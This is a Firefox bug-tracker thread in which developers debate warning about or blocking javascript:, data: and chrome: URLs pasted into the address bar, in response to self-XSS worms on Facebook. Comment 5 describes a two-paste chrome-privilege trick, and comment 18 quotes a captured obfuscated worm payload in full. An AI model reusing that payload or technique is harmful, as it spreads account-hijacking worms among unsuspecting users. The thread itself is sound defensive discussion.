305692 - Warn when entering chrome:, javascript:, and data: URLs into address bar

Status: RESOLVED WONTFIX

(Firefox :: Address Bar, defect, P5)

Description

[Jesse Ruderman]

Josh Aas is concerned that once bug 304690 and bug 305374 are fixed (but before
bug 286651 is fixed), users who encounter chrome:// URLs in AIM, IRC, QuickTime,
or email will wonder why clicking the link didn't work and then paste it into
Firefox's address bar.

We agreed that it made sense to block the clicks from external applications
silently, and warn users if they do paste a chrome:// URL into the address bar.

Comment 1

[Mike Connor [:mconnor]]

We don't think this vector is especially worrisome on its own, and we're past the point of adding strings.

Comment 2

[Daniel Veditz [:dveditz]]

Restoring lost blocking flag

Comment 3

[Jesse Ruderman]

Bug 358266 reminded me about this while I was in an anti-security-dialog mood, so I thought about how to fix this without adding a new security dialog that won't make sense to 99% of the users who encounter it.

* For javascript: URLs, it might make sense to disable entering them into the address bar entirely instead of adding a warning.  But then it would be best to provide new (better!) UI for web developers like me who want to test a script against a page quickly.

* For data: URLs, the URL should just be loaded with a null principle.

* chrome: URLs aren't as worrisome, IMO, but maybe they could get a (non-privileged!) replacement page similar to the one for about:config.

Comment 4

[Mike Connor [:mconnor]]

No strings/UI changes at this point on the 1.5.0.x branch, thus we're not going to block on this, or even try to fix it.

Comment 5

[georgi - hopefully not receiving bugspam]

tricking a user via social engineering means to paste 2 urls in a new tab leads to  code execution:

chrome://browser/content
and then in the same location pasting
javascript:alert(Components.classes)

in case some chrome trusts parameters from location.href this may be done with one paste.

having in mind the amount of malware i receive users do stupidier things than pasting in location bar.

and this poses the question: is pasting in the location bar safe.

Comment 6

[Mike Beltzner [:beltzner, not reading bugmail]]

Blocking, but the decision might be to not actually fix this as per comment 1. I need to sit down with johnath and understand this a little more.

G30rgi, your point is well taken, and it makes me wonder if warning a user at this point will actually do any good. At the point where someone's pasting into a location bar to get a desired effect, do we have any hope of stopping them?

Comment 7

[georgi - hopefully not receiving bugspam]

better warn than nothing.

though disabling chrome and such is better imho.

Comment 8

[Tracy Walker [:tracy]]

removing in-litmus? until this is resolved, feel free to add it back at that
time.

Comment 9

[Daniel C]

The amount of Facebook users doing this is on the rise. I've previously seen pages asking to select some text and paste it into the location bar. Today was different though, see the following page:

http://www.facebook.com/IfSuperMarioWasMadeIn2010

This is an example of a page which gets users to press keys (Ctrl+C, Alt+D, Ctrl+V, Enter) to copy some hidden code and execute it.

At the moment it is used to invite all friends to a page, but I don't think it will be long before something more sinister happens.

Someone please provide a reason why this should be allowed for the average user. Bookmarklets could be special-cased.

Comment 10

[georgi - hopefully not receiving bugspam]

[1] > which gets users to press keys (Ctrl+C, Alt+D, Ctrl+V, Enter) to copy some hidden code and execute it.
[2] Bookmarklets could be special-cased.

if you kill [1] and keep [2] alive probably the attacker's strategy will change to "make the js a bookmarklet and select it"

Comment 11

[Jesse Ruderman]

We should probably just disallow javascript: in the address bar (and not inherit principals for data: in the address bar).  We can show something in the error console that mentions a hidden pref, but the default should be that nothing happens (certainly not a yes/no dialog).

As Georgi points out, we'll also need different UI for bookmarks (bug 371923).

Comment 12

[Johnathan Nightingale [:johnath]]

As Daniel points out, there seems to be an uptick in "paste this crap into the location bar!" social hacks - which makes me want to see a good solution here. Having said that, though, I don't think this blocks the release, though it would be lovely to see a fix.

Comment 13

[Sid Stamm [:geekboy or :sstamm]]

(In reply to comment #11)
> We should probably just disallow javascript: in the address bar (and not
> inherit principals for data: in the address bar).  We can show something in the
> error console that mentions a hidden pref, but the default should be that
> nothing happens (certainly not a yes/no dialog).

+1 ... the social engineering "worms" spreading around Facebook right now are a PITA, and a warning will be lost on users who will tend to click through the warnings to get to whatever is on the other side.

CSP (bug 493857) could potentially help out on a site-by-site basis by blocking outgoing page-loads to javascript: URIs, but I'd much rather see a block on javascript: URIs in the address bar globally.

Comment 14

[Laxminarayan G Kamath A]

This is also being discussed on the whatwg mailing list.  My vote goes to having a whitelist on by default. Trying to disable the whitelist from the configuration **//strongly//** suggests the user that disabling the whitelist is insecure.

Comment 15

[Jesse Ruderman]

The whatwg thread starts with
http://lists.whatwg.org/htdig.cgi/whatwg-whatwg.org/2010-July/027246.html

Comment 16

[Luke Hutchison]

+1 -- I started the whatwg thread after getting 1-2 of these facebook worms per week from clueless friends.

Unfortunately most people don't have a clue that they have been spreading these worms because the worms usually show you what they say they'll show you after mailing themselves to everyone in your friends list.  And there's so much junk shared on facebook anyway that very few people actually question why someone would be sharing the link with them.  As a result, the fan page associated with these worms usually gets tens of thousands of "Like"s before anybody reports it as spam.

Slightly modified repost of my suggestions on the whatwg thread (written about Chrome, but the same principles apply to Firefox):

--

When you install a .crx extension, you are warned about the security implications of doing so. However if you drag a "javascript:" bookmarklet to the bookmarks bar or type js URLs into the address bar, you are not given a security warning -- but bookmarklets have access to the security context of whatever page is currently open when they are clicked.  The inconsistency of security treatment of extensions and bookmarklets is a big source of potential vulnerability.
 
Proposed solutions:
 
(1) The same warning should be given when dragging bookmarklets to the addressbar as is given when installing .crx extensions.
 
(2) The browser's anti-phishing system should be used to check where bookmarklets have originated (if dragged/dropped), and sites like facebook.com should be blacklisted for javascript:* bookmarklets (*not* for javascript:* URLs that are clicked on, just for URLs dragged to the addressbar).
 
(3) Javascript that has no known origin (that is typed directly into the URL bar) should either be disabled by default (re-enablable via debug option, for the tiny 0.0001% of users that need this functionality), or at the very least and less preferably, the user should be given a security warning when hitting Enter after entering such a URL. There is no legitimate reason for the other 99.9999% of users to need to enter javascript URLs into the addressbar.

Given the success of these exploits so far on facebook, the use and nefariousness of them will likely only increase.

Comment 17

[Laxminarayan G Kamath A]

This hasnt been a problem with just Facebook .. http://support.mozilla.com/pt-BR/forum/1/508843 . There are  many cases like this. Even my friends and me(once) have been affected by it. If you search for "Orkut javascript dangerous" you will get many results.

Comment 18

[Daniel C]

I took a screencast of a recent Facebook page that was doing this if anyone wants it e-mailed to them (it's too big to upload here and tinyvid.tv didn't accept it for some reason).

I also copied the code that would be run if you followed the instructions to the end (which it seems tens of thousands of users did).

javascript:(function(){a='app138131196225048_jop';b='app138131196225048_jode';ifc='app138131196225048_ifc';ifo='app138131196225048_ifo';mw='app138131196225048_mwrapper';eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('J e=["\\n\\g\\j\\g\\F\\g\\i\\g\\h\\A","\\j\\h\\A\\i\\f","\\o\\f\\h\\q\\i\\f\\r\\f\\k\\h\\K\\A\\L\\t","\\w\\g\\t\\t\\f\\k","\\g\\k\\k\\f\\x\\M\\N\\G\\O","\\n\\l\\i\\y\\f","\\j\\y\\o\\o\\f\\j\\h","\\i\\g\\H\\f\\r\\f","\\G\\u\\y\\j\\f\\q\\n\\f\\k\\h\\j","\\p\\x\\f\\l\\h\\f\\q\\n\\f\\k\\h","\\p\\i\\g\\p\\H","\\g\\k\\g\\h\\q\\n\\f\\k\\h","\\t\\g\\j\\z\\l\\h\\p\\w\\q\\n\\f\\k\\h","\\j\\f\\i\\f\\p\\h\\v\\l\\i\\i","\\j\\o\\r\\v\\g\\k\\n\\g\\h\\f\\v\\P\\u\\x\\r","\\B\\l\\Q\\l\\R\\B\\j\\u\\p\\g\\l\\i\\v\\o\\x\\l\\z\\w\\B\\g\\k\\n\\g\\h\\f\\v\\t\\g\\l\\i\\u\\o\\S\\z\\w\\z","\\j\\y\\F\\r\\g\\h\\T\\g\\l\\i\\u\\o"];d=U;d[e[2]](V)[e[1]][e[0]]=e[3];d[e[2]](a)[e[4]]=d[e[2]](b)[e[5]];s=d[e[2]](e[6]);m=d[e[2]](e[7]);c=d[e[9]](e[8]);c[e[11]](e[10],I,I);s[e[12]](c);C(D(){W[e[13]]()},E);C(D(){X[e[16]](e[14],e[15])},E);C(D(){m[e[12]](c);d[e[2]](Y)[e[4]]=d[e[2]](Z)[e[5]]},E);',62,69,'||||||||||||||_0x95ea|x65|x69|x74|x6C|x73|x6E|x61||x76|x67|x63|x45|x6D||x64|x6F|x5F|x68|x72|x75|x70|x79|x2F|setTimeout|function|5000|x62|x4D|x6B|true|var|x42|x49|x48|x54|x4C|x66|x6A|x78|x2E|x44|document|mw|fs|SocialGraphManager|ifo|ifc|||||||'.split('|'),0,{}))})();

If anyone can fully decipher that I'd be interested to see it (not sure if it's really relevant to this bug though, so probably best to e-mail it).

Comment 19

[Luke Hutchison]

Daniel: you could try YouTube or Vimeo...

Comment 20

[Jesse Ruderman]

Given the active attacks, I think we really need to do something here for Firefox 4.  (Hopefully not a warning dialog!)

Comment 21

[Mike Beltzner [:beltzner, not reading bugmail]]

I don't think we'd want a warning dialog, and a whitelist seems hard to maintain. Feels like the easiest thing to do is:

 - disable JS in the URL bar by default
 - add a pref (maybe in Content) to allow people to turn it on

Developers can find it and turn it on, most people never need to see it.

Question, though: wouldn't that just morph the attack into "drag this into your location bar and click it"? How is this different from bookmarklets?

Comment 22

[Luke Hutchison]

I agree that disabling js in the location bar and letting developers switch it on as needed is the most sane default.

Dragging to the bookmarks toolbar is how boorkmarklets are normally created.  And yes, an attack could suggest that a user do this. Therefore bookmarklets should be off by default too -- or off with a whitelist of originating sites.  It will be easier to create a sensible whitelist for bookmarklets than for arbitrary javascript pasted into the addressbar, especially since with a drag/drop operation the actual originating site is always known.

Comment 23

[Mike Beltzner [:beltzner, not reading bugmail]]

(In reply to comment #22)
> It will be easier to create a sensible whitelist for bookmarklets than for
> arbitrary javascript pasted into the addressbar, especially since with a
> drag/drop operation the actual originating site is always known.

I presume that such a whitelist would include my website, and Jesse's website, and all the new web service sites that come out and provide bookmarklets for users, and ...

(I don't think it's easier, is what I'm saying ;) )

Why can't the normal malware/phishing protection handle this type of attack?

Comment 24

[Luke Hutchison]

Malware/phishing protection *should* be used to handle blacklisting/whitelisting, since the engine for that is already in place.  However this vulnerability adds something unique that should be separately targeted from black/whitelisting of source domain, specifically it is a wide open door for cross-site scripting attacks.  Black/whitelisting is a cat and mouse game.  The underlying vulnerability should be addressed too.

Since there are already trusted registries for extensions and greasemonkey scripts, bookmarklets should have their own peer-reviewed registry too, and then whitelisting would be a whole lot easier.

Comment 25

[Luke Hutchison]

Also the extra complication of tricking somebody into installing an ActiveX control and agreeing to the security implications meant that that was never a really viable way of infecting people's computers on a large scale.  Just requiring someone to agree to give up security guarantees whenever they create a bookmarklet would be scary enough to dissuade lots of users from doing it.

Comment 26

[Jesse Ruderman]

I'm not too worried about Facebook attacks shifting to bookmarklets.  The attacker would first have to lure you off of Facebook (because Firefox, unlike Safari, does not allow dragging the text "javascript:alert(5)" to the bookmarks toolbar) and then give users complicated instructions.  Let's solve one problem at a time.

Comment 27

[Jesse Ruderman]

IE9 will mitigate this security concern by stripping "javascript:" out of url bar pastes.  I'm not sure that's enough, but it helps.

http://blogs.msdn.com/b/ieinternals/archive/2011/02/11/ie9-release-candidate-minor-changes-list.aspx

Comment 29

[Victor Costan]

Margaret: thank you for pointing me to the right bug, I'm sorry I didn't find it when I did my dupe search.

Everyone: please consider disabling javascript: URLs in the address bar, and pushing this as a security update. An easy way to try out scripts is Ctrl+Shift+K (the new Web Console in Firefox 4), which auto-focuses on an input box that takes JavaScript, with the added benefit of auto-completion. Given the Web Console, I really don't see any point in allowing javascript: in the address bar.

More complex solutions for bookmarklets can be figured out while scammers rewrite their instructions to target bookmarklets or the Web Console.

Thank you so much!

Comment 30

[Luke Hutchison]

It would be nice to see this pushed on a unified front, with all major browser vendors agreeing to standardize on disallowing JS URLs being pasted into the address field to prevent XSS attacks...

Comment 31

[Victor Costan]

Luke: I haven't had much success with Chrome -- http://crbug.com/81697

I'm sure they'll follow suit if both FF and IE fix the problem, though. And, given the current market shares, having FF and IE fixed would take care of most of the spam.

Also, I don't think developers will migrate to Chrome for the ability to type javascript: in the location bar :)

Comment 32

[Luke Hutchison]

Victor: I filed an almost identical bug report and got a similar response. In the end they basically hinted that I might have more luck with Firefox :/

Comment 33

[Mike Beltzner [:beltzner, not reading bugmail]]

Rob/Patrick: now that scratchpad has landed on nightlies, do we think that it might be a better way for developer-users to enter direct JS URIs into the product?

FWIW, I still wonder about the value of a pref-based approach here. As per comment 6 and comment 21, though, I can't help but wonder if it's not just a band-aid. If someone's convinced me to copy and paste a URI in my location bar, would I not just treat any warning as a "whatever" button? Further, would I not follow instructions to first flip a preference and then paste the URI?

I would almost rather see something like:

 - implement the IE9 approach (strip javascript: from paste buffer when pasting into location bar)
 - if a user manually enters javascript: into the location bar, pop a dialog explaining (sample text below) that this is inherently dangerous, and should be done using a developer tool like the scratchpad, instead

Suggested text:

"JavaScript may not be run directly from the location bar. If you are a developer, you can use the ScratchPad to run JavaScript in the web context."

  [ Copy to ScratchPad ]     [ I don't understand ] 

if the user clicks "I don't understand", then just ditch the string, don't copy to the scratchpad, wash your hands and walk away :)

Comment 34

[Mike Beltzner [:beltzner, not reading bugmail]]

BTW, is this entirely about javascript: now? That's what the conversation has centered on, but the bug also refers to data and chrome URIs.

Comment 35

[Rob Campbell [:rc] (:robcee)]

There are a few options for legitimately running JS now. The Web Console and Scratchpad to name a couple. I don't think there's much value in detecting a javascript: URI and offering to copy that to another tool for execution as people may do it anyway, ignoring the "I don't understand" option.

I think removing javascript: from the location bar entirely is probably the best option.

Comment 36

[Daniel C]

(In reply to comment #33)
> If someone's convinced me to copy and paste a URI in my location bar, would I > not just treat any warning as a "whatever" button? Further, would I not follow > instructions to first flip a preference and then paste the URI?

Mike, see comment 9 for an example of how most of the attacks I've come across work. They don't explicitly ask the user to paste something into the location bar. Ctrl+C, Alt+D, Ctrl+V, Enter (with animations to draw your attention away from the briefly highlighted URI in the location bar).

It's pretty difficult to get someone to flip a preference that way. It would be pretty easy to get them to double-tap Enter which would bypass the warning, but only if "Run script" was the default option (which it shouldn't be). Getting someone to press Enter, Tab, Enter without them seeing the dialog in the meantime is quite difficult. I think the best option is to prevent javascript: URIs from being executed in the location bar.

Bookmarklets could get a dialog, or be left as is for now (bookmarklets exist to save time, having a warning every time would probably get annoying). I don't think they pose the threat that the many social media human-hacks do at present.

Web developers can use the console, which has advantages over directly using the location bar anyway (don't lose the current location, warnings and exceptions displayed).

Comment 37

[Brendan Eich [:brendan]]

Watch the attackers work around the defenses by getting users to type javascript: manually (in IE9 and Chrome this works, apparently). Then it seems likely we will get to watch attackers engineer users into opening the "Web Console" and typing away.

Maybe the better place to defend is elsewhere. Can we run the javascript: URL typed or pasted into the location bar (and only in this case) in a sandbox? We do not want to break javascript: links and src attribute values in the page. We do not want to break bookmarklets (see bug 371923 and assume the user vetted the bookmarking step).

/be

Comment 38

[Luke Hutchison]

In a sandbox? I think the only generally useful usecases for javascript bookmarklets are things that interact with the contents of the current page, which are precisely the sorts of usecases that cause the problems described in this bug.  The problem is that the pasted javascript didn't originate in the current page, so this bug basically describes an XSS vulnerability.  Chrome extensions have the same issue, they're written in JS but the JS needs access to at least the currently-viewed page in most cases.

Personally I would be fine completely disabling both bookmarklets and js URLs, most users don't even know what either function is.

Actually on the sandbox idea, what if javascript run in the addressbar and/or bookmarklets could access the *current* page contents (i.e. the DOM), but otherwise ran in an incognito context, so that any actions they initiate have no access to cookies?  Would that prevent the sorts of attacks described without disabling too much useful functionality?

Comment 39

[Daniel C]

(In reply to comment #38)
> In a sandbox? I think the only generally useful usecases for javascript
> bookmarklets are things that interact with the contents of the current page

Brendan specifically suggested the sandbox idea for typed and pasted URLs only ("and only in this case").

The scripts currently run with the same privileges as the currently-loaded page as far as I can tell, but any access is too much. The common attacks have nothing to do with cookies so that restriction wouldn't help. They usually set the user's Facebook status to "do this to see who's viewed your profile" with the same description on how to get it to "work", and thus the hack spreads.

In reply to comment 37, I agree that it wouldn't take much more effort to get a user to do Ctrl+Shift+K, Ctrl+V, Enter, Ctrl+Shift+K but it's at least more visually obvious that something is happening.

I think the first and simplest fix that can be done here that doesn't prevent a more complex solution from coming later is to just forbid loading a URL with javascript: at the beginning (or any nested schemes that allow scripting, if there are any). Something in urlbarBindings.xml maybe, returning early in handleCommand and using handleRevert so that no load or script-execution occurs and the location bar just goes back to the currently-loaded URL.

Comment 40

[Luke Hutchison]

The current attacks don't just update a user's status, some of them actually mail themselves to all your facebook friends using facebook messaging -- hence the reliance on cookies.

Comment 41

[Boris Zbarsky [:bzbarsky]]

> Can we run the javascript: URL typed or pasted into the location bar (and only > in this case) in a sandbox?

Pretty trivially, yes.  Not sure it's all that useful to have a way to do that, though.

Comment 42

[Daniel C]

Attachment: Drop the load and pretend nothing happened

Here's a quick patch which just ignores the request to load a javascript: URL and reverts the location bar contents. I don't have a proper development environment set up so it's just a patch I hacked up inside omni.jar.

I can see a small benefit in sandboxing the load so that people could evaluate javascript:alert(parseInt(0xFF)); and other expressions but people might then not realise that the behaviour has changed and wonder why their document.getElementById('foo')... isn't working.

Comment 43

[Jesse Ruderman]

djcater, please see the patches in bug 656433 and my comment on the first one ;)

Comment 44

[Daniel C]

(In reply to comment #43)
> djcater, please see the patches in bug 656433 and my comment on the first
> one ;)

Yes, I've seen it now, thanks. Would have saved me a bit of time if someone had thought to link to that bug from this one earlier!

Comment 45

[Jesse Ruderman]

A warning dialog is WONTFIX in favor of bug 656433 and bug 656823, for the reason stated most clearly in comment 13.

Beltzner's idea in comment 33 about suggesting Scratchpad is interesting. It might be reasonable to do in the future, but not with Scratchpad in its current state.

The more general discussion seems to be in bug 527530 and on mailing lists.

Comment 46

[Brendan Eich [:brendan]]

(In reply to comment #38)
> In a sandbox? I think the only generally useful usecases for javascript
> bookmarklets

We are not talking about bookmarklets, those can be vetted before being recorded as bookmarks and allowed without sandboxing.

> are things that interact with the contents of the current page,
> which are precisely the sorts of usecases that cause the problems described
> in this bug.  The problem is that the pasted javascript didn't originate in
> the current page, so this bug basically describes an XSS vulnerability. 

Yes, but provenance of the javascript: URL can tell the difference between this and the bookmarklet case, and also tell the sandbox what capabilities to remove in mediating to the underlying DOM.

> Personally I would be fine completely disabling both bookmarklets and js
> URLs, most users don't even know what either function is.

Noted, not going to break these, esp. bookmarklets. Everyone is willing to break working and established features for some new and supposedly better way, but we need proof the new way is better before we break the old way, and where we can, we should mitigate without complete breakage.

> Actually on the sandbox idea, what if javascript run in the addressbar
> and/or bookmarklets could access the *current* page contents (i.e. the DOM),
> but otherwise ran in an incognito context, so that any actions they initiate
> have no access to cookies?  Would that prevent the sorts of attacks
> described without disabling too much useful functionality?

Now you are talking. This is the kind of mediation I was thinking of. But see how the approach matters? Instead of "break now, maybe something better will replace (bookmarklets|typed-in-javascript-urls)" we have a more productive and precise discussion about the threat and a possible solution.

/be

Comment 47

[Luke Hutchison]

Apparently this is being worked on by the Chrome team along with "other browser vendors": http://blog.chromium.org/2011/06/new-chromium-security-features-june.html  Can somebody please clarify what is happening on the Firefox side of things, or what the Chrome team is actually doing to solve this?  (They don't give much detail, and it seems that you can still use javascript: URLs, just not as freely as before...)

Quoting:

Chromium 13: defenses for self-XSS via javascript URLs
Working together with Facebook and other browser vendors, we’re trialing a self-XSS defense that makes it harder for users to shoot themselves in the foot when they are tricked into pasting javascript: URLs into the omnibox.

This is an interesting area because it’s hard to know what detail of instruction it is possible to trick a user into following. It is also hard to measure success until a large percentage of installed browsers have the defense (thus forcing the attackers to adapt their approach).

Comment 48

[Boris Zbarsky [:bzbarsky]]

See bug 656433.